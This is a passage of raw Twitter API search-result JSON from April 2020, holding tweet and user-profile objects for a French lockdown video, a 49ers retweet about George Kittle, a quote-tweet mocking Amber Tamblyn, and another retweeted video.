,\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":true,\"quoted_status_id\":1254136568417259521,\"quoted_status_id_str\":\"1254136568417259521\",\"quoted_status\":{\"created_at\":\"Sat Apr 25 19:53:53 +0000 2020\",\"id\":1254136568417259521,\"id_str\":\"1254136568417259521\",\"text\":\"Il n\\u2019a pas comprit le concept \\ud83d\\ude05\\n#confinement https:\\\/\\\/t.co\\\/j0pvvaXqF2\",\"truncated\":false,\"entities\":{\"hashtags\":[{\"text\":\"confinement\",\"indices\":[32,44]}],\"symbols\":[],\"user_mentions\":[],\"urls\":[],\"media\":[{\"id\":1254136503258808321,\"id_str\":\"1254136503258808321\",\"indices\":[45,68],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254136503258808321\\\/pu\\\/img\\\/F6zOsn8Id0qYrRNO.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254136503258808321\\\/pu\\\/img\\\/F6zOsn8Id0qYrRNO.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/j0pvvaXqF2\",\"display_url\":\"pic.twitter.com\\\/j0pvvaXqF2\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/GloriaOlembo\\\/status\\\/1254136568417259521\\\/video\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"medium\":{\"w\":540,\"h\":960,\"resize\":\"fit\"},\"small\":{\"w\":383,\"h\":680,\"resize\":\"fit\"},\"large\":{\"w\":540,\"h\":960,\"resize\":\"fit\"}}}]},\"extended_entities\":{\"media\":[{\"id\":1254136503258808321,\"id_str\":\"1254136503258808321\",\"indices\":[45,68],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254136503258808321\\\/pu\\\/img\\\/F6zOsn8Id0qYrRNO.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254136503258808321\\\/pu\\\/img\\\/F6zOsn8Id0qYrRNO.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/j0pvvaXqF2\",\"display_url\":\"pic.twitter.com\\\/j0pvvaXqF2\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/GloriaOlembo\\\/status\\\/1254136568417259521\\\/video\\\/1\",\"type\":\"video\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"medium\":{\"w\":540,\"h\":960,\"resize\":\"fit\"},\"small\":{\"w\":383,\"h\":680,\"resize\":\"fit\"},\"large\":{\"w\":540,\"h\":960,\"resize\":\"fit\"}},\"video_info\":{\"aspect_ratio\":[9,16],\"duration_millis\":13078,\"variants\":[{\"bitrate\":632000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254136503258808321\\\/pu\\\/vid\\\/320x568\\\/AVnszQa6W9q7c04O.mp4?tag=10\"},{\"bitrate\":832000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254136503258808321\\\/pu\\\/vid\\\/360x640\\\/Xy2jSsmTHBHeOUUi.mp4?tag=10\"},{\"content_type\":\"application\\\/x-mpegURL\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254136503258808321\\\/pu\\\/pl\\\/OKaz96Nq0Hw-jSDL.m3u8?tag=10\"},{\"bitrate\":2176000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254136503258808321\\\/pu\\\/vid\\\/540x960\\\/2pgtZuZG3AfQD02w.mp4?tag=10\"}]},\"additional_media_info\":{\"monetizable\":false}}]},\"metadata\":{\"iso_language_code\":\"und\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1164591021008834563,\"id_str\":\"1164591021008834563\",\"name\":\"ITS MY BDAY\\ud83e\\udd73\",\"screen_name\":\"GloriaOlembo\",\"location\":\"Bruxelles, Belgique\",\"description\":\"1m66 de douceur insta: gloriaolembo\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":381,\"friends_count\":87,\"listed_count\":0,\"created_at\":\"Thu Aug 22 17:32:01 +0000 2019\",\"favourites_count\":611,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":588,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1251225268817137670\\\/E5x_QB1R_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1251225268817137670\\\/E5x_QB1R_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1164591021008834563\\\/1584457034\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":17767,\"favorite_count\":38583,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":true,\"lang\":\"fr\"},\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"und\"},{\"created_at\":\"Sun Apr 26 00:32:23 +0000 2020\",\"id\":1254206657296506880,\"id_str\":\"1254206657296506880\",\"text\":\"RT @49ers: For the memories.\\nFor the laughs.\\nFor the advice.\\nFor always having our back.\\n\\n@gkittle46 shares a heartfelt message for @jstale\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"49ers\",\"name\":\"San Francisco 49ers\",\"id\":43403778,\"id_str\":\"43403778\",\"indices\":[3,9]},{\"screen_name\":\"gkittle46\",\"name\":\"George Kittle\",\"id\":725897344357519360,\"id_str\":\"725897344357519360\",\"indices\":[90,100]}],\"urls\":[]},\"metadata\":{\"iso_language_code\":\"en\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":998424527204945920,\"id_str\":\"998424527204945920\",\"name\":\"\\ud83e\\uddb9\\ud83c\\udffc\\u200d\\u2642\\ufe0f\",\"screen_name\":\"_CursedVillain\",\"location\":\"\",\"description\":\"Sports \\u2022 Music \\u2022 Wrestling \\u2022 Gaming\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":763,\"friends_count\":1204,\"listed_count\":4,\"created_at\":\"Mon May 21 04:45:31 +0000 2018\",\"favourites_count\":65370,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":49379,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1249294890820829184\\\/6paZpZ2h_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1249294890820829184\\\/6paZpZ2h_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/998424527204945920\\\/1586690271\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Sat Apr 25 22:32:34 +0000 2020\",\"id\":1254176502628757504,\"id_str\":\"1254176502628757504\",\"text\":\"For the memories.\\nFor the laughs.\\nFor the advice.\\nFor always having our back.\\n\\n@gkittle46 shares a heartfelt messag\\u2026 https:\\\/\\\/t.co\\\/IKiHkI3yHw\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"gkittle46\",\"name\":\"George Kittle\",\"id\":725897344357519360,\"id_str\":\"725897344357519360\",\"indices\":[79,89]}],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/IKiHkI3yHw\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1254176502628757504\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"metadata\":{\"iso_language_code\":\"en\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/studio.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Media Studio\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":43403778,\"id_str\":\"43403778\",\"name\":\"San Francisco 49ers\",\"screen_name\":\"49ers\",\"location\":\"\",\"description\":\"Official Twitter account of the 5-time Super Bowl Champion San Francisco 49ers. \\ud83d\\udccd@LevisStadium \\ud83e\\udd1d@49ersCommunity\",\"url\":\"https:\\\/\\\/t.co\\\/i5n2B6Tchl\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/i5n2B6Tchl\",\"expanded_url\":\"https:\\\/\\\/www.49ers.com\\\/IGYB\",\"display_url\":\"49ers.com\\\/IGYB\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":2195579,\"friends_count\":370,\"listed_count\":10319,\"created_at\":\"Fri May 29 20:34:37 +0000 2009\",\"favourites_count\":11387,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":46755,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"000000\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1254124273326686208\\\/xhKFSbQQ_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1254124273326686208\\\/xhKFSbQQ_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/43403778\\\/1587841477\",\"profile_link_color\":\"AA0000\",\"profile_sidebar_border_color\":\"000000\",\"profile_sidebar_fill_color\":\"CCCCCC\",\"profile_text_color\":\"000000\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":1869,\"favorite_count\":8177,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"is_quote_status\":false,\"retweet_count\":1869,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Sun Apr 26 00:32:23 +0000 2020\",\"id\":1254206657112027137,\"id_str\":\"1254206657112027137\",\"text\":\"She owes an apology to everyone for being on twitter. https:\\\/\\\/t.co\\\/CaXY7b1PKl\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/CaXY7b1PKl\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/carolinecstark\\\/status\\\/1254200440729763841\",\"display_url\":\"twitter.com\\\/carolinecstark\\u2026\",\"indices\":[54,77]}]},\"metadata\":{\"iso_language_code\":\"en\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/#!\\\/download\\\/ipad\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPad\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":733283255550509056,\"id_str\":\"733283255550509056\",\"name\":\"comrade 48\",\"screen_name\":\"48kiloss\",\"location\":\"\",\"description\":\"recovering\\\/ 2003\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":2359,\"friends_count\":1725,\"listed_count\":10,\"created_at\":\"Thu May 19 13:08:46 +0000 2016\",\"favourites_count\":43789,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":38037,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1244744839431946240\\\/3XCD7qEK_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1244744839431946240\\\/3XCD7qEK_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/733283255550509056\\\/1585917169\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":true,\"quoted_status_id\":1254200440729763841,\"quoted_status_id_str\":\"1254200440729763841\",\"quoted_status\":{\"created_at\":\"Sun Apr 26 00:07:41 +0000 2020\",\"id\":1254200440729763841,\"id_str\":\"1254200440729763841\",\"text\":\"Amber Tamblyn owes me an apology for being god damned annoying\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[]},\"metadata\":{\"iso_language_code\":\"en\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":194071815,\"id_str\":\"194071815\",\"name\":\"\\ud83d\\ude37 Stimulus Chick\\ud83d\\ude37\",\"screen_name\":\"carolinecstark\",\"location\":\"Liberate Virginia\",\"description\":\"Views are my cat's. she\\\/her. avi by @sup_im_sammy\\n\\nVote shamers will be disinfected and put under a UV lamp\\nDon't DM unless we're friendly on here.\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":7447,\"friends_count\":6808,\"listed_count\":18,\"created_at\":\"Thu Sep 23 11:01:35 +0000 2010\",\"favourites_count\":133530,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":38023,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"0099B9\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme4\\\/bg.gif\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme4\\\/bg.gif\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1206722622802800640\\\/Tp_bK1nV_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1206722622802800640\\\/Tp_bK1nV_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/194071815\\\/1406605005\",\"profile_link_color\":\"FF691F\",\"profile_sidebar_border_color\":\"5ED4DC\",\"profile_sidebar_fill_color\":\"95E8EC\",\"profile_text_color\":\"3C3940\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":3,\"favorite_count\":37,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},{\"created_at\":\"Sun Apr 26 00:32:23 +0000 2020\",\"id\":1254206657111916545,\"id_str\":\"1254206657111916545\",\"text\":\"RT @LJJAY7: Take notes babygirl \\ud83e\\udd17 IG: ljaaaayyyy https:\\\/\\\/t.co\\\/ooeYap03FH\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"LJJAY7\",\"name\":\"L.\",\"id\":1220050781593899010,\"id_str\":\"1220050781593899010\",\"indices\":[3,10]}],\"urls\":[],\"media\":[{\"id\":1252762554796998658,\"id_str\":\"1252762554796998658\",\"indices\":[49,72],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1252762554796998658\\\/pu\\\/img\\\/Fsdpn0mFYGzTjn8H.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1252762554796998658\\\/pu\\\/img\\\/Fsdpn0mFYGzTjn8H.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/ooeYap03FH\",\"display_url\":\"pic.twitter.com\\\/ooeYap03FH\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/LJJAY7\\\/status\\\/1252762680496177152\\\/video\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":383,\"h\":680,\"resize\":\"fit\"},\"large\":{\"w\":720,\"h\":1280,\"resize\":\"fit\"},\"medium\":{\"w\":675,\"h\":1200,\"resize\":\"fit\"}},\"source_status_id\":1252762680496177152,\"source_status_id_str\":\"1252762680496177152\",\"source_user_id\":1220050781593899010,\"source_user_id_str\":\"1220050781593899010\"}]},\"extended_entities\":{\"media\":[{\"id\":1252762554796998658,\"id_str\":\"1252762554796998658\",\"indices\":[49,72],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1252762554796998658\\\/pu\\\/img\\\/Fsdpn0mFYGzTjn8H.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1252762554796998658\\\/pu\\\/img\\\/Fsdpn0mFYGzTjn8H.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/ooeYap03FH\",\"display_url\":\"pic.twitter.com\\\/ooeYap03FH\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/LJJAY7\\\/status\\\/1252762680496177152\\\/video\\\/1\",\"type\":\"video\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":383,\"h\":680,\"resize\":\"fit\"},\"large\":{\"w\":720,\"h\":1280,\"resize\":\"fit\"},\"medium\":{\"w\":675,\"h\":1200,\"resize\":\"fit\"}},\"source_status_id\":1252762680496177152,\"source_status_id_str\":\"1252762680496177152\",\"source_user_id\":1220050781593899010,\"source_user_id_str\":\"1220050781593899010\",\"video_info\":{\"aspect_ratio\":[9,16],\"duration_millis\":7183,\"variants\":[{\"content_type\":\"application\\\/x-mpegURL\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1252762554796998658\\\/pu\\\/pl\\\/PS4qcmG94wzmoBj7.m3u8?tag=10\"},{\"bitrate\":832000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1252762554796998658\\\/pu\\\/vid\\\/360x640\\\/eI-depY-BwgeWs80.mp4?tag=10\"},{\"bitrate\":632000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1252762554796998658\\\/pu\\\/vid\\\/320x568\\\/zYaQDzFbR1zzEuCK.mp4?tag=10\"},{\"bitrate\":2176000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1252762554796998658\\\/pu\\\/vid\\\/720x1280\\\/nw1mTLie45M_C6JU.mp4?tag=10\"}]},\"additional_media_info\":{\"monetizable\":false,\"source_user\":{\"id\":1220050781593899010,\"id_str\":\"1220050781593899010\",\"name\":\"L.\",\"screen_name\":\"LJJAY7\",\"location\":\"\",\"description\":\"Accomplish the unbelievable \\ud83e\\udd2b IG | @ljaaaayyyy Snap | @ljjaayyyy\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":44,\"friends_count\":50,\"listed_count\":0,\"created_at\":\"Wed Jan 22 18:29:17 +0000 2020\",\"favourites_count\":644,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":493,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1250909737622831104\\\/WnwKXHJ5_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1250909737622831104\\\/WnwKXHJ5_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1220050781593899010\\\/1587857554\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"}}}]},\"metadata\":{\"iso_language_code\":\"en\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1220050781593899010,\"id_str\":\"1220050781593899010\",\"name\":\"L.\",\"screen_name\":\"LJJAY7\",\"location\":\"\",\"description\":\"Accomplish the unbelievable \\ud83e\\udd2b IG | @ljaaaayyyy Snap | @ljjaayyyy\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":44,\"friends_count\":50,\"listed_count\":0,\"created_at\":\"Wed Jan 22 18:29:17 +0000 2020\",\"favourites_count\":644,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":493,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1250909737622831104\\\/WnwKXHJ5_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1250909737622831104\\\/WnwKXHJ5_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1220050781593899010\\\/1587857554\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Wed Apr 22 00:54:32 +0000 2020\",\"id\":1252762680496177152,\"id_str\":\"1252762680496177152\",\"text\":\"Take notes babygirl \\ud83e\\udd17 IG: ljaaaayyyy https:\\\/\\\/t.co\\\/ooeYap03FH\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[],\"media\":[{\"id\":1252762554796998658,\"id_str\":\"1252762554796998658\",\"indices\":[37,60],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1252762554796998658\\\/pu\\\/img\\\/Fsdpn0mFYGzTjn8H.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1252762554796998658\\\/pu\\\/img\\\/Fsdpn0mFYGzTjn8H.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/ooeYap03FH\",\"display_url\":\"pic.twitter.com\\\/ooeYap03FH\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/LJJAY7\\\/status\\\/1252762680496177152\\\/video\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":383,\"h\":680,\"resize\":\"fit\"},\"large\":{\"w\":720,\"h\":1280,\"resize\":\"fit\"},\"medium\":{\"w\":675,\"h\":1200,\"resize\":\"fit\"}}}]},\"extended_entities\":{\"media\":[{\"id\":1252762554796998658,\"id_str\":\"1252762554796998658\",\"indices\":[37,60],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1252762554796998658\\\/pu\\\/img\\\/Fsdpn0mFYGzTjn8H.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1252762554796998658\\\/pu\\\/img\\\/Fsdpn0mFYGzTjn8H.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/ooeYap03FH\",\"display_url\":\"pic.twitter.com\\\/ooeYap03FH\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/LJJAY7\\\/status\\\/1252762680496177152\\\/video\\\/1\",\"type\":\"video\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":383,\"h\":680,\"resize\":\"fit\"},\"large\":{\"w\":720,\"h\":1280,\"resize\":\"fit\"},\"medium\":{\"w\":675,\"h\":1200,\"resize\":\"fit\"}},\"video_info\":{\"aspect_ratio\":[9,16],\"duration_millis\":7183,\"variants\":[{\"content_type\":\"application\\\/x-mpegURL\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1252762554796998658\\\/pu\\\/pl\\\/PS4qcmG94wzmoBj7.m3u8?tag=10\"},{\"bitrate\":832000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1252762554796998658\\\/pu\\\/vid\\\/360x640\\\/eI-depY-BwgeWs80.mp4?tag=10\"},{\"bitrate\":632000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1252762554796998658\\\/pu\\\/vid\\\/320x568\\\/zYaQDzFbR1zzEuCK.mp4?tag=10\"},{\"bitrate\":2176000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\